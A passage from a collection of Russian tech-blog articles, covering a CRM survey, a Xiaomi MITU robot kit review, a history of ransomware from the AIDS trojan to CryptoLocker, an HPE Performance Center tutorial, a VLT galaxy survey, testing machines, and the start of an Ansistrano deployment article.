те, кто ещё не внедрил CRM-систему и кто уже внедрил. Посмотрим детализацию. Из тех, кто уже внедрил, 31% используют систему наполовину, 36% считают CRM оплотом коммерции и используют активно, 18% — как корпоративный портал, 6% — по пинку от начальства. Из тех, кто планирует — превалирует ответ «не знаю», на втором месте — для успеха коммерции и как корпоративный портал. Вполне адекватные ожидания от CRM-системы. Какие интеграции важны для компании? Кто тут лидер — очевидно, CRM без интеграции с бухгалтерией теряет очень много, впрочем, как и наоборот. Поэтому 1С достались 55%. На втором месте (!) телефония — тут возникает сомнение — а не потому ли столь малый процент у телефонии выше, что не все системы, особенно самописные, умеют с ней интегрироваться? Совершенно парадоксальные 27% с CRM и ERP, хотя мы в работе иногда встречаем зоопарк ПО в одной компании. Отметим только, что это чрезвычайно плохо и тормозит процессы за счёт слабых возможностей интеграции и отсутствия сквозной автоматизации бизнеса. Кстати, такая интеграция с другими CRM нужна в 33% случаев теххм, кто работает с облачными CRM-системами и в 19,6% — с серверными. Это неслучайно — перечисленные серверные CRM чаще всего либо имеют функциональность на уровне ERP, либо свои собственные системы управления складом и системы управления производством. Изменилась ли ситуация после внедрения CRM? Здесь и фактические впечатления тех, кто уже внедрил, и ожидания тех, кому предстоит внедрить, примерно совпали, с той разницей, что у тех, кто уже пользуется стало лучше не на 43%, а на все 56%. Оценивать изменения после внедрения CRM нужно обязательно — чтобы понять, насколько она эффективно и какие меры можно предпринять в дальнейшем. Не планируют внедрять CRM только 18% опрошенных. Опрос показал, что CRM-системы востребованы бизнесом, компании заинтересованы во внедрении и работе на положительный результат. Как и показывает общий тренд, самые популярные фичи связаны с организацией клиентской базы, управлением задачами и планированием. Спасибо всем, кто участвовал в опросе, звонил, писал в чат и в социальные сети. Эти постом мы завершаем свой 2016 год на Хабре и готовим новые темы в 2017 году — о разработке, внедрениях, работе с клиентами и многом другом. Рановато вроде, но всё равно — всех с наступающим! Опрос, ещё опрос После публикации нашего предыдущего поста в паблике Хабра на Фейсбук мы получили такой вот комментарий от студента. Он нам написал в личные сообщения и мы познакомились поближе — молодой человек собирает данные для своей магистерской диссертации и разработал свой опрос о влиянии ПО на эффективность команды. Результаты после защиты мы попросили изложить на Хабре — но это уж его дело, а вас мы просим пройти опрос и помочь будущему магистру — вспомните, как всегда тяжело собирается практическая часть диплома. Кстати, вопросы и структура сделаны хорошо. → Ссылка на анкету
https://habrahabr.ru/company/regionsoft/blog/317912/
habrahabr
Робот Xiaomi MITU: не убийца, а сам по себе
['Xiaomi', 'MITU', 'робот', 'Lego', 'Mindstorms', 'DIY']
Вспомните себя ребёнком: Новый год, ёлка, горы вкусной еды, отдых дома и на катке, интересные подарки, каникулы рядом с родителями и друзьями. Раз, два — и вот уже ёлка осыпается и больно колется в...
Вспомните себя ребёнком: Новый год, ёлка, горы вкусной еды, отдых дома и на катке, интересные подарки, каникулы рядом с родителями и друзьями. Раз, два — и вот уже ёлка осыпается и больно колется в тапочках, а за окном настаёт длинная и беспросветная третья четверть. Неохота выходить на мороз, зубрить, писать контрольные и слушать бесконечные тирады про самую главную четверть в году. Собственно, то же самое сейчас испытывают наши дети и младшие братья и сёстры. Перед родителями стоит важная задача: не довести ребёнка до нервного срыва и сохранить интерес и стимул к учёбе более гуманными способами, чем ремень. Nice to MITU Баловать игрушками — не выход, это только расслабит школьника и лишний раз отвлечёт от занятий. Планшет тоже лучше припрятать до выходных, уж больно он соблазнительно затягивает. Значит, ищем баланс между игрой и учёбой и находим наборы для робототехники. Чертовски дорогие, стоимость их величиной едва ли не в среднюю зарплату специалиста! Но не всё так безнадёжно — на помощь родителям пришёл Xiaomi со своим программируемым робо-конструктором Xiaomi MITU , который, к слову, на Gearbest стоит всего $125.99 (а с купоном MITU и вовсе $109.99), то есть в переводе на рубли что-то около 7 800 рублей, раза в четыре дешевле аналогов. Ребёнок будет не просто играть, он обучится основам программирования и теории алгоритмов, получит понимание инженерной работы, поймёт, как функционируют и управляются системы, узнает понятия датчика, сенсора, микроконтроллера, угла наклона и проч. Это очень полезное устройство, которое в дальнейшем поможет ребёнку воспринять такие предметы как алгебра, геометрия и физика. Не говоря уже об информатике — на подготовленную почву отлично лягут навыки программирования, построения блок-схем, позиционные системы счисления и т.д. Итак, пора познакомиться поближе. Он брутален и хорош собой Робот, а точнее, его составляющие части, упакованы в яркую и компактную для такой штуки коробку. Первое, что видит покупатель при вскрытии коробки — мозг будущего робота: хорошо собранную, не люфтящую и не скрипящую коробочку с богатым внутренним миром: микрочипом, гироскопом, датчиками Bluetooth и Wi-Fi, аккумулятором. Дополнительные датчики с USB Type C нужно покупать отдельно — в зависимости от того, что вы собираетесь конструировать. На блоке расположены кнопка включения, микрофон, 4 порта и кнопка Reset на случай внезапного восстания машин. Пластиковые детали будущего робота упакованы в запаянные пакетики с забавными инструкциями по технике безопасности, из которых, например, можно узнать, что запчасти нельзя есть, поджигать, наматывать на них волосы и что на них можно больно поскользнуться. А как же наступить на детальку — это же самая распространённая и болезненная травма! И ещё бы не помешало предупреждение «Беречь от котов» — мелкие детали выглядят как прекрасная игрушка на случай, если захочется поиграть в кошачий хоккей и загнать трофей под диван. В общем, суть такая — лучше всего собирать робота на чистом столе, а не на кровати или на полу, тем более, что в комплекте идёт удобный ящичек с ячейками для сортировки всех запчастей. Ящик, увы, без крышки. На дне коробки, под пакетиками с деталями, находятся инструкция с QR-кодом для загрузки приложения на смартфон и зарядное устройство в таком же стильном бело-оранжевом цвете. Робот состоит из 978 деталей из экологичного прочного пластика с точностью литья 0,005 мм, среди которых есть крепления, шестерёнки, перемычки, колёса и проч. Как и у всех наборов такого класса, у Xiaomi MITU есть важное преимущество — его можно собирать и разбирать много раз. Детали выполнены в сдержанных и приятных цветах, после сборки робот выглядит технологично и даже футуристично. Из этих штучек можно собрать робота или динозавра по инструкции, а можно дать волю фантазии и придумать свою машину, монстра, дракона, терминатора и т.д. Вот как это выглядит в сборке. Этот парень дружит с головой Программирование Xiaomi MITU осуществляется с помощью набора команд на экране мобильного телефона. Поддерживается присвоение значений переменным, математические операции, генерация рандомного значения на интервале, логические операции. Для оценки текущего состояния и единственного последующего действия робота предусмотрена строка: if TRUE then Для выбора действия после анализа текущего состояния: if TRUE then else Также можно зацикливать программу оператором Loop и считать общее время выполнения программы. Выглядит процесс примерно так: С одной стороны, можно быть приверженным классическому программированию в консоли и IDE, но робот рассчитан на детей начальной — ранней средней школы (официально — от 10 лет) и для знакомства не фанатеющего от разработки ребёнка с программированием очень даже хорош. Работая вот с такими кнопочками-функциями, ребёнок усвоит логику программы, поймёт сущность алгоритма. А это, как известно, база, с которой всё и должно начинаться. Усвоению порядка действий способствуют разноцветные подсветки для разного типа команд — так легче запомнить алгоритм, понять его и повторить. В общем, для программирования имеем дело с визуальным редактором. Остальные функции гораздо меньше похожи на программирование, это, скорее, кнопки-переключатели: выбор звука, задержка, установки времени, скорости, угла наклона к поверхности, параметры поворота, задание оборотов двигателя и т.д. Предусмотрено голосовое управление системой. Кроме того, робот оснащён двумя моторами со скоростью до 170 оборотов в минуту и поддерживает сторонние датчики через четыре порта USB интерфейса Type C, например, инфракрасный и ультразвуковой сенсоры, а это уже размах для полёта фантазии. Тут уже решается другая задача — развитие инженерных навыков юного робототехника. В сердце (голове?) Xiaomi MITU — микроконтроллер ARM Cortex M3 (STM32) с 32-битной инфраструктурой, за счёт которой он считает и выполняет команды быстрее своих 8 и 16-битных сородичей. Этот микроконтроллер хорош для робота подобного класса ещё и тем, что поддерживает режимы энергосбережения, умеет впадать в спячку целиком и по подсистемам. Кстати, сам робот имеет аккумулятор на 1700 мАч, что позволяет ему работать целых 12 часов. Флэш-память умной игрушки — 32 МБ — это в два раза больше, чем у именитого конкурента, но зато нет поддержки карты памяти. Робот совместим с Android 4.3 + и iOS 6 +. И эта совместимость — не лишняя забава. Роботом можно управлять через специальное приложение на смартфоне. Например, можно нарисовать произвольный маршрут, и он проследует именно по той траектории, которую вы задали. Также можно передавать информацию гироскопу игрушки и вообще управлять мобильником как джойстиком. А не напрасная ли это забава? Мы не знаем, будет ли Xiaomi лоббировать свои интересы в школах и робототехнических кружках. Во всяком случае, пока у них нет никакой методической основы, без которой учителя просто жить не могут. Как нам кажется, оно и к лучшему: робот Xiaomi MITU — это набор уровня «ребёнок-родитель» (на край, старший брат или сестра). То есть, помимо скиллов, которые мы опишем строчкой ниже, сохраняется такое дефицитное сегодня взаимодействие взрослых с ребёнком. Ребёнок приобретает навыки системного и логического мышления, работая с управляемой системой. Ребёнок узнаёт природу механического движения, трения, качения, геометрии и стереометрии. Ребёнок знакомится с программированием — при правильном объяснении это формирует также особое отношение к планшету, компьютеру, смартфону. Они перестанут быть только средствами просмотра мультиков и игр — вполне возможно, что ребёнок захочет продолжить своё развитие в этом направлении. Ребёнок знакомится с интернетом вещей (IoT). Хотим мы того или нет, но дальше ему и нам жить в мире с растущим числом датчиков, умных устройств и умных машин. Робот очень просто и ясно демонстрирует, как работают сенсоры и датчики. Ребёнок воспринимает обучение как приятный процесс — это непременно экстраполируется и на школьные дисциплины, особенно «трудные» технические. У ребёнка формируется осознание своего интеллекта и умений — он же сам собрал робота, который умеет двигаться! Он инженер-конструктор! Взаимодействие мелкой моторики, управление программируемым интерфейсом и работа с мобильным приложением формируют понимание взаимодействия систем, влияния человека на механические системы. В общем, плюсов, действительно много. Минус, пожалуй, один — одного робота однажды станет мало, формы наскучат. Но именно в это время настаёт момент изобретательства — кто знает, как далеко пойдёт юный проектировщик в своих изысканиях? Ваша задача направить и помочь, если потребуется. Технические характеристики Xiaomi MITU Manufacturer: Xiaomi Model: Mi Bunny MITU Block Robot Type: Block Robot Dimensions: 380×320×90 mm Material: hypoallergenic polycarbonate Number of parts: 978 SoC CPU: STM32, 72 MHz, 32-bit Flash memory: 32MB (Extended storage is not supported) Connection: — Bluetooth — 2.4G wireless support (connection sensor) — Wi-Fi supports Type-C extension Power supply: 1700 mAh lithium battery Charging adapter: 12V / 5 V Motor type: Servomotor Sensor: — Gyro sensor — Support Interface expansion — Support Wireless expansion — Infrared sensor can be connected (not included) — Ultrasonic sensors can be connected (not included) — Color sensor can be connected (not included) — Programmable RGB lights Software: — Mobile remote control support — Voice recognition support — Planning path support — Gravity sensing — Programming control support — Mobile programming support Color: White/ Red Этот робот одинок? В плане таких умных программируемых китайских роботов — почти полностью одинок. Если вас или ребёнка не привлекает агрессивный дизайн Xiaomi MITU, то на Gearbest можно найти ещё несколько интересных моделей . Например, известный и любимый всеми заботливый Wall-E тоже готов подчиняться командам хозяина. Но именно, что подчиняться — он управляется с пульта, который отдаёт ему уже готовые команды — от разговора до передачи эмоций и танцев. Конечно, это больше развлечение, чем обучение и подойдёт либо маленьким детям, либо фанатеющим взрослым, которые расскажут ребёнку, как всё это двигается, работает, захватывает предметы и т.д. Работает Wall-E от 4 батареек АА. Кстати, у нас есть на него купон YTRF , который превращает цену в $99.99 . Наверняка мимо вас не прошла новость о том, как Сбертех набирает ИТ-специалистов и его примеру следуют другие компании. Сегодня все, от банков до брокеров и перевозчиков, начинают позиционировать себя как технологические компании. А таким корпорациям нужны квалифицированные специалисты, причём совсем не те, которые отсидели 5 лет в вузах со старыми программами обучения. Самообразование наряду с классическим образованием — единственный ключ к успеху. И нужно обязательно научить ребёнка искать этот ключ смолоду. Это решит в будущем очень многие проблемы. А в какие игрушки играете вы со своими детьми? Ну, кроме ардуины и поливалок :)
https://geektimes.ru/company/gearbest/blog/283816/
habrahabr
Криптовымогатели: прошлое, настоящее, будущее
['криптовымогатели', 'CryptoLocker', 'AIDS', 'вирусы', 'информационная безопасности', 'шифрование', 'зловреды']
В конце нулевых на компьютерах в России и странах СНГ начала распространяться на тот момент ещё новая и необычная зараза. Незнакомая для пользователей разновидность зловредного программного...
В конце нулевых на компьютерах в России и странах СНГ начала распространяться на тот момент ещё новая и необычная зараза. Незнакомая для пользователей разновидность зловредного программного обеспечения блокировала нормальную работу компьютера и требовала отправить SMS-сообщение на платный номер для получения кода разблокировки. Требования подкреплялись ложными угрозами: на компьютере найдено нелицензионное программное обеспечение или какая-то разновидность порнографии. Пользователя-новичка легко напугать, если представиться органами правопорядка, подростка за монитором родительского компьютера — выводящим порнографию и требующим оплату окошком. За пару лет распространение получили утилиты для быстрой очистки — подобные программы-вымогатели лишь вмешивались в нормальную работу, но не вредили машине. Однако вскоре по Сети начали гулять куда более разрушительные и действенные зловреды. Они шифровали содержимое накопителей компьютера и требовали деньги для восстановления файлов. Live CD быстрой помощи бессилен против правильно выполненнего криптовымогателя — ключ шифрования остаётся только у злоумышленников. Начало В 1996 году Мордехай (Моти) Юнг и Адам Янг в публикации Cryptovirology: Extortion-Based Security Threats and Countermeasures («Криптовирология: основанные на вымогательстве угрозы безопасности и контрмеры») описали методы использования традиционно защитных методов шифрования для атаки на компьютерные системы. Кстати, эта работа и создала термин « криптовирология », которым называют те направления, которые исследуют, как методы шифрования используются в зловредном программном обеспечении. Уже тогда была описана отдалённо похожая на сегодняшнюю схема работы. С помощью встроенного в зловред публичного ключа «криптовирус» шифрует данные на диске с использованием асимметричной криптографии . «Криптовирус» требует связаться с автором зловреда. После получения выкупа автор «криптовируса» предоставляет приватный ключ для расшифровки. Очевидный недостаток — это одна пара приватного и публичного ключа для каждой версии «криптовируса». Если свободу получит одна жертва, то потенциально будут свободны и остальные. В работе исследователи предложили решение проблемы: либо встраивать в криптовирус множество ключей, либо вирус будет симметрично шифровать данные сессионным ключом и шифровать последний, а затем автору зловреда будет нужно запросить шифротекст. Первый вирус с шифрованием появился ещё до этого, в 1989 году. Троянский конь AIDS модифицировал файл AUTOEXEC.BAT , ждал до 90 загрузок системы и шифровал имена всех файлов на диске C. Затем пользователь получал требование выслать деньги на абонентский ящик в Панаме. Дискета с AIDS. Jan Hruska, Computer viruses and anti-virus warfare , 1992 11 декабря 1989 года порядка двадцати тысяч конвертов, содержащих внутри пятидюймовую дискету AIDS Information Version 2.00, попали в почтовую службу Лондона. Вложенный в конверт буклет призывал получателей вставить дискету в компьютер и установить программный пакет. Куда более мелкими буквами на обратной стороне было указано, что в рамках лицензионного соглашения пользователь должен заплатить 189 или 389 долларов США. Это требование и всплывало после 90 перезагрузок. AIDS напоминает современные криптовымогатели лишь отдалённо: он шифрует не данные, а названия папок. Первые заметные вирусы с шифрованием файлов на диске начали появляться в середине нулевых: PGPCoder , Archiveus , Cryzip и прочие. Зарабатывать они пытались по-разному: кто-то просил перевести средства на аккаунт E-gold или Liberty Reserve (ныне покойные платёжные системы, известные популярностью среди киберпреступников), кто-то пускался в экзотику. К примеру, Archiveus шифровал содержимое папки «Мои документы» и просил покупать товары в определённой онлайн-аптеке для получения пароля. Всем этим экземплярам не хватало нескольких факторов. Нескольких технологий, которые задумывались как полезные и удобные, но были использованы в преступных целях. Это распределённые криптографические системы для анонимных платежей с высокой степенью анонимности — Bitcoin и его клоны. Это полностью анонимные сети — Tor и I2P, которые позволяют надёжно скрыть в даркнете реальное местоположение командных серверов. Наконец, на руку криптовирусам сыграли развитие алгоритмов файлового шифрования, рост процессорной мощности компьютеров и наличие на них постоянного подключения к Интернету. В 2013 году по миру начал шагать CryptoLocker . С помощью Tor троян соединялся с одним из командных серверов, получал от него 2048-битный публичный ключ RSA для шифрования 256-битного ключа AES-шифрования файлов и требовал оплаты в размере 300—400 долларов или евро несколькими способами, в том числе биткойнами. Технические характеристики сети Bitcoin позволяют отследить, сколько монет находится на любом кошельке. Так исследователи сайта ZDNet отследили четыре кошелька и посчитали, что злоумышленники получили за три месяца десятки миллионов долларов. Опрос Кентского университета среди британцев выявил удивительно высокий процент заплативших: среди заражённых CryptoLocker — примерно 41 %, других разновидностей криптовымогателей — порядка 30 %. CryptoLocker вызвал волну последователей и подражателей: Locker, CryptoLocker.F, TorrentLocker , CryptoWall и так далее. Сегодня трояны-вымогатели продают и предоставляют в аренду . Их создатели начали включать творческую жилку в оформлении требования о платеже: Jigsaw удаляет файлы раз в час , грозя образом персонажа из триллеров « Пила ». Вирус Ranscam просто эксплуатирует репутацию «продукта» и лишь удаляет файлы , но всё равно требует деньги. Постепенно криптовымогатели вошли в привычку. В новостях регулярно появляются сообщения о парализованной работе немаленьких организаций: нарушается функционирование больницы или транспортной компании всего города . Конечно, компании готовы заплатить за свои критически важные файлы куда больше, чем обычные пользователи за данные на домашних компьютерах. Размер выкупа для компаний куда выше. Как выглядит борьба с шифровальщиками в типичной организации? Об этом нам рассказал заместитель руководителя отдела информационной безопасности «СКБ Контур» Александр Дельва. По его словам, рассылки с криптовымогателями — одна из наиболее популярных разновидностей спама, в компанию письма с ними приходят ежедневно. Как говорит Дельва, инциденты с заражением и потерей документов случались пару лет назад, но с тех пор в компании приняли меры. При этом в «СКБ Контур» не платили злоумышленникам, считая, что подобное способствует дальнейшему развитию вирусной индустрии и не несет никаких гарантий восстановления. Вместо этого зашифрованные версии файлов были сохранены в надежде на последующее появление в открытом доступе приватных ключей. Александр Дельва считает, что защита от подобных киберугроз возможна не в антивирусах, а резервном копировании любых более-менее ценных данных. Варианты зловредов-вымогателей для Linux и macOS уже появляются. Как пояснил в комментарии для «Гиктаймса» Михаил Кондрашин, технический директор «Trend Micro Россия», компании, разрабатывающей решения для кибербезопасности, подобные зловреды могут начать распространяться на другие классы вычислительных устройств: За прошлый год мы видели взрывной рост числа программ-шифровальщиков. Исследовательские лаборатории Trend Micro обнаруживали 12—15 новых семейств программ-шифровальщиков в месяц. В ближайшее время тенденция изменится. Мы прогнозируем, что темпы появления новых семейств в скором времени уменьшатся. Это связано, в первую очередь, с появлением такого андеграундного сервиса как «программа-вымогатель-как услуга». Злоумышленники готовы изготавливать на потоке новые уникальные экземпляры новых программ-вымогателей для всех, кто готов оплатить подобный сервис. В результате такого изменения, программы-вымогатели будут более целенаправленно выбирать жертву с целью максимизации финансовой выгоды для злоумышленников. Хочется отметить, что снижение темпов появления новых видов программ-шифровальщиков не уменьшит общий уровень угрозы. Скорее наоборот. Наверняка, в следующем году мы станем свидетелями атак на смартфоны и другие компьютеры, не являющиеся рабочими станциями пользователей. Программы-шифровальщики существенно изменили «правила игры» на антивирусном рынке, так как под угрозой оказались не исполняемые файлы или системные области на компьютере пользователя, а самые обыкновенные файлы. Не все разработчики смогли достойно ответить новому вызову, ведь теперь современный антивирусный продукт должен быть оснащен совершенно новым пластом технологий, таким, как создание теневых резервных копий файлов, поведенческий анализ для выявления похожих на шифрование активностей, а также — механизм искусственного интеллекта для выявления неизвестных образцов программ-шифровальщиков. Поэтому рекомендуется обязательно использовать систему резервного копирования и не допускать доступность резервных копий по сети на запись, так как в противном случае, продвинутая программа-шифровальщик способна будет зашифровать и резервную копию. Появление вирусов-вымогателей для всего, что можно заразить — это вряд ли всего лишь опасения. Исследователи демонстрировали экземпляр, который блокирует работу термостата. Относительно редкие обновления безопасности устройств интернета вещей, смартфонов и планшетов сулят новое поле для атак.
https://geektimes.ru/post/283834/
habrahabr
Создание и конфигурация Analyzed Result на основе Analysis Template в HPE Performance Center
['HPE', 'LoadRunner', 'HPE Performance Center']
В HPE Performance Center есть возможность сконфигурировать Analysis Reports, используя Analysis Template. Это позволит отобразить результаты в необходимом формате. Для создания Analysis Template...
В HPE Performance Center есть возможность сконфигурировать Analysis Reports, используя Analysis Template. Это позволит отобразить результаты в необходимом формате. Для создания Analysis Template необходимо выполнить слeдующие шаги: Создать Analysis Report и настроить его Создать Analysis Template, основанный на Analysis Reports Загрузить файл Analysis Template в Performance Center Добавить Analysis Template в Performance Test Получить Analyzed Results на основе Analysis Template Подробнее под катом. Создание и настройка Analyzed Results: 1. Необходимо открыть любую из Session Results в HPE LoadRunner Analysis, используя HPE ALM connections через основное меню → «Tools» 2. Подключившись к Performance Center Test Lab, выбираем Result Session файл Или открываем заранее сохраненный Session Results файл с файловой системы 3. Настраиваем графики в Results файле, как нам необходимо. Для примера – удаляем все ненужные графики и добавляем только необходимые. Также есть возможность создать Объединенный график с измененной гранулярностью по времени. Создание Analysis Template: 4. Через основное меню Tools → Templates: 5. Создаем New Templates file: 6. Нажимаем кнопки «Ok» и «Save & Close». Загрузка Analysis Template в Performance Center (MyPC) 7. Для загрузки файла Analysis Template в Performance Center необходимо создать архив этого файла в «zip» формате. 8. Открываем Performance Center – MyPC,  далее Resources → Test Resources перспектива – и создаем новый Analysis Template Profile → Create New Analysis Template. 9. Далее загружаем его через меню Upload → выбираем архивный файл на файловой системе. Добавление Analysis Template в Performance Test 10. В Тест Дизайнере → вкладка Groups&Workload → Advanced → выбираем Analysis Template  Options… 11. Добавляем созданный Analysis Template Profile в Performance Test Получение Analyzed Results на основе Analysis Template 12. Запускаем Performance Test с добавленным Analysis Template и опцией обработки результатов – «Collate and Analyze results»: 13. После завершения теста можно просмотреть Analyzed Results на основе Analysis Template в виде HTML. Также есть возможность открыть и редактировать Analyzed Results в HPE LoadRunner Analysis: Автор: Сергей Кравченко, ведущий специалист по тестированию производительности HPE PC/LR
https://habrahabr.ru/company/hpe/blog/317848/
habrahabr
Астрономы завершили составление 3D карты из 90 000 галактик
['vlt', 'вселенная', 'изучение космоса']
Очень Большой Телескоп (Very Large Telescope, VLT) расположен в Чили. Он позволяет ученым заглядывать в чрезвычайно удаленные от Земли уголки Вселенной. При помощи этого инструмента астрономы...
Очень Большой Телескоп (Very Large Telescope, VLT) расположен в Чили. Он позволяет ученым заглядывать в чрезвычайно удаленные от Земли уголки Вселенной. При помощи этого инструмента астрономы реализуют сразу несколько научных проектов, один из которых ставит своей целью создание распределения галактик в двух участках неба Южного полушария. Сейчас участники этого проекта сообщили о создании 3D карты 90 000 удаленных галактик. Карта составлена для участка неба площадью в 24 квадратных градусов. Глубина наблюдения очень велика и соответствует моменту, когда наша Вселенная была вдвое моложе текущего момента, то есть около 6,5 млрд световых лет. Вполне может быть, что некоторых галактик, которые наблюдают ученые в этом секторе, уже нет. В ходе наблюдений астрономы работали с многообъектным спектрографом видимого света (англ. Visible Multi-Object Spectrograph, VIMOS ). Он представляет видимые изображения и спектры до 1000 галактик, одновременно в области 14х14 угловых минут. Карту далеких галактик ученые составляют уже около 8 лет. На измерение спектров упомянутых 90 000 галактик потрачено 440 часов наблюдательного времени на VLA. Работа эта очень масштабная и трудоемкая. В 2013 году ESO объявила, что международная группа астрономов, которая выполняет общедоступное обозрение внегалактического пространства VIPERS ( VIMOS Public Extragalactic Survey ), получила данные для 60% намеченных галактик. И сейчас, три года спустя, работа завершена. VIMOS позволяет астрономам получать спектр удаленных галактик. И анализ красного смещения в этом спектре позволяет выяснить скорость удаления галактики от наблюдателя. Соответственно, это позволяет не только выяснить расстояние до объекта, но и составить точную карту расположения галактик. Сейчас программа наблюдений полностью выполнена, и астрономы получили самое масштабное обозрение красных смещений из всех, что были когда-либо выполнены телескопами ESO. Этот обзор позволяет получить данные о структурах ранней Вселенной, с огромным количеством подробностей и пространственной протяженностью. Для чего нужно наблюдать за галактиками, которые существовали много миллиардов лет назад? Дело в том, что изучение этих объектов помогает понять, каковы закономерности распределения материи в космосе в огромных масштабах. Также наблюдения при помощи VLT помогают продолжить изучение природы темной материи в ранней Вселенной (кстати, есть гипотеза, которая объясняет природу Вселенной и без добавления понятия «темной материи»). В прошлом месяце был опубликован полный массив данных обозрения. Сейчас он доступен в стандартной форме через архив ESO . Астрономы уже работают над анализом полученных данных и делают выводы о том, каким образом эволюционировали галактики со времен ранней Вселенной, а также выясняют природу структурных таких деталей Вселенной, как волокна ,  скопления (кластеры) и войды . В декабре этого года при помощи VIMOS и VLT астрономы обнаружили карликовый спутник галактики Messier 83, которая прозвана Южной Вертушкой . В этой галактике было зарегистрировано шесть сверхновых. Она расположена от Земли в 15 миллионах лет световых лет. Галактику открыл Никола Лакайль в 1752 году. Шарль Мессье включил её в свой каталог в 1781. В 2005 году орбитальный телескоп GALEX зарегистрировал огромное количество новорождённых звёзд на внешних пределах M 83. В 2008 телескоп обнаружил ещё больше молодых звёзд, которые, согласно общепринятой модели звездообразования, не должны там быть в таком количестве. Они находятся на расстоянии 140 тысяч световых лет от центра галактики, тогда как диаметр самой галактики не превышает 40 тысяч световых лет. В целом, текущая работа команды VLT, в частности, тех ученых, кто работает над картографированием Вселенной, помогает прояснить не только структуру пространства, но и его эволюцию. Very Large Telescope (рус. Очень большой телескоп, сокр. VLT) — комплекс из четырёх отдельных 8,2-метровых оптических телескопов (UT1-UT4): телескопы Анту (Antu), Куйен (Kueyen), Мелипал (Melipal), Йепун (Yepun), объединённых в одну систему, построенную и управляемую Европейской Южной Обсерваторией. Является частью Паранальской обсерватории на Серро Параналь, на высоте 2635 м в Чили. VLT может работать в четырех режимах: каждый телескоп работает автономно, все телескопы работают, как когерентный интерферометр и как единый телескоп, что позволяет увеличить светимость объектов.
https://geektimes.ru/post/283828/
habrahabr
Универсальные испытательные машины (разрывные машины)
['Физика', 'Испытательные машины', 'ИвМашДеталь', 'разрывные машины']
Сегодня я хочу дать общую информацию о машинах позволяющих проводить испытания и определять физико-механические свойства различных материалов. Для начала давайте определимся, что же такое...
Сегодня я хочу дать общую информацию о машинах позволяющих проводить испытания и определять физико-механические свойства различных материалов. Для начала давайте определимся, что же такое механические свойства и какие они бывают. Механические свойства – это способность материала выдерживать нагрузки приложенные из вне. К таким нагрузкам относятся сжатие, изгиб, удар, кручение, твердость, пластичность, упругость, истираемость и т. д. Чтобы искусственно воспроизвести эти нагрузки произведенный материал (образец) испытывают, для определения пиковых и номинальных значений работы данного образца. Испытания проводятся на машинах обеспечивающих определенный тип нагрузки, обычно в Ньютонах (Н). Разрывные машины в основном являются универсальными, так как работают на растяжение и сжатие, и позволяют определять деформацию, упругость, пластичность и многое другое. Но все машины без исключения получают от контроллера три параметра: Нагрузку (Н), Перемещение (мм) и Время (с) . Для таких видов нагрузки как крутящий момент специально разработана машина на кручение обеспечивающая вращение образца вдоль своей оси. Изгибающие силы могут быть определены как при испытании на классической разрывной машине, так и при испытании образца на маятниковом копре. Выглядят такие машины как токарный станок с установленным на оси кручения датчика момента. Часто для определения твердости материала требуется такая машина как твердомер обеспечивающая контроль твердости после производства материала, (например, стали). В зависимости от твердости материала, выбирается тип шкалы: твёрдость более мягких изделий обычно измеряют по шкале Шора или шкале Бринелля; для более твёрдых изделий используют шкалу Роквелла; для совсем твёрдых — шкалу Виккерса. Еще существуют испытания на усталость и длительную прочность, они в основном проводятся на классических разрывных машинах способных поддерживать образец под постоянной нагрузкой долгое время, и с использованием климатических камер для воссоздания требуемых климатических условий. Единственным отличием от классической разрывной машины является нагрузочная система, выполненная в виде набора грузов, установленных через рычаг. Количество таких машин в лаборатории может достигать десятков штук, а испытания могут длиться от нескольких дней до нескольких недель, месяцев и даже лет. Существует еще один класс машин: машины трения предназначены для изучения процессов трения и вызванного трением износа, свойств смазочных и фрикционных материалов. Многие испытательные машины разрабатываются и делаются под заказ так как серийная машина не подходит по тем или иным причинам (габариты испытуемого образца, способ крепления его в захватах, точность измерения, параметры измерения…), заказчиком в основном выступают университеты (если у них хватает финансирования), различные научно-производственные объединения и все те кто может работать не со стандартными материалами. К любой испытательной машине необходимы захваты для зажима и удержания в процессе испытания образца. Типов захватов очень много, я упомяну некоторые: Тисочные (работают и выглядят также как тиски), клиновые (самозажимные), клещевые (работают и выглядят как клещи). Все захваты со сменными губками под круглые и плоские образцы, а также отличаются насечкой. Немного видео испытаний и работы машин: В сегодняшней статье я привел несколько типов испытательных машин позволяющих обеспечить испытательную (научную) лабораторию всеми необходимыми физико-механическими испытаниями. На этом пожалуй все, но если будет интересно, могу написать про процесс изготовления, ценообразование, и вообще отвечу на все дополнительные заданные вопросы в комментариях к этой статье. Для затравочки могу сказать, что одна универсальная машина с максимальной нагрузкой 50кН (5тонн) в зависимости от исполнения, стоит около 1мил. руб., как не плохой новый автомобиль иностранного производства.
https://geektimes.ru/post/283838/
habrahabr
Деплой веб-приложений с помощью Ansistrano
['ansistrano', 'ansible', 'capistrano', 'deploy']
ansistrano.deploy и ansistrano.rollback — роли Ansible, предназначенные для управления процессом развертывания приложений, созданных на скриптовых языках программирования (например, PHP, Python и...
ansistrano.deploy и ansistrano.rollback — роли Ansible, предназначенные для управления процессом развертывания приложений, созданных на скриптовых языках программирования (например, PHP, Python и Ruby). По сути это реализация Capistrano в Ansible. Использование Ansistrano дает следующие преимущества: откат за секунды (с ролью ansistrano.rollback); настройка процедуры развертывания с использованием методов-обработчиков событий «до» и «после» критически важных шагов; оптимизация использования дискового пространства за счет хранения ограниченного количества релизов; выбор между SCP, RSYNC, GIT, SVN, HTTP Download или S3 GET-стратегиями развертывания (в дополнение возможно использование unarchive ). Как появился Ansistrano Вначале был Capistrano , который является инструментом автоматизации управления серверами; его текущая версия — под номером 3. Версия 2.0 была создана для развертывания RoR-приложений. С помощью плагинов можно было работать с не-Rails приложениями, написанными, например, на PHP или Python, применяя различные стратегии развертывания, среды тестирования и многое другое. И это было хорошо. Capistrano 2 — отличный инструмент, который работает до сих пор. Но он больше не поддерживается, поскольку разработчики переключились на третью версию. При этом, по мнению создателей Ansistrano, Capistrano 3 менее гибкий и не такой мощный, а также не обладает тем набором возможностей, который был у предыдущей версии. Кроме того, другие инструменты развертывания приложений (например, Ansible), не стоят на месте и постоянно совершенствуются. Разработчики Ansistrano объясняют отказ от Capistrano отсутствием поддержки версии 2 и нехваткой функциональности в v3, а также тем, что все необходимые задачи выполнимы и с помощью Ansible. В качестве альтернативы предлагается посмотреть на Fabric и Chef Solo. Кстати, название проекта — Ansistrano — получилось путем соединения Ansible и Capistrano. Анонимная статистика использования Ansistrano Недавно в Ansistrano был добавлен дополнительный необязательный шаг, который дает разработчикам возможность узнать, сколько людей разворачивают приложения с помощью Ansistrano. Поскольку Ansible Galaxy не предоставляет статистику по загрузкам или использованию, авторы Ansistrano 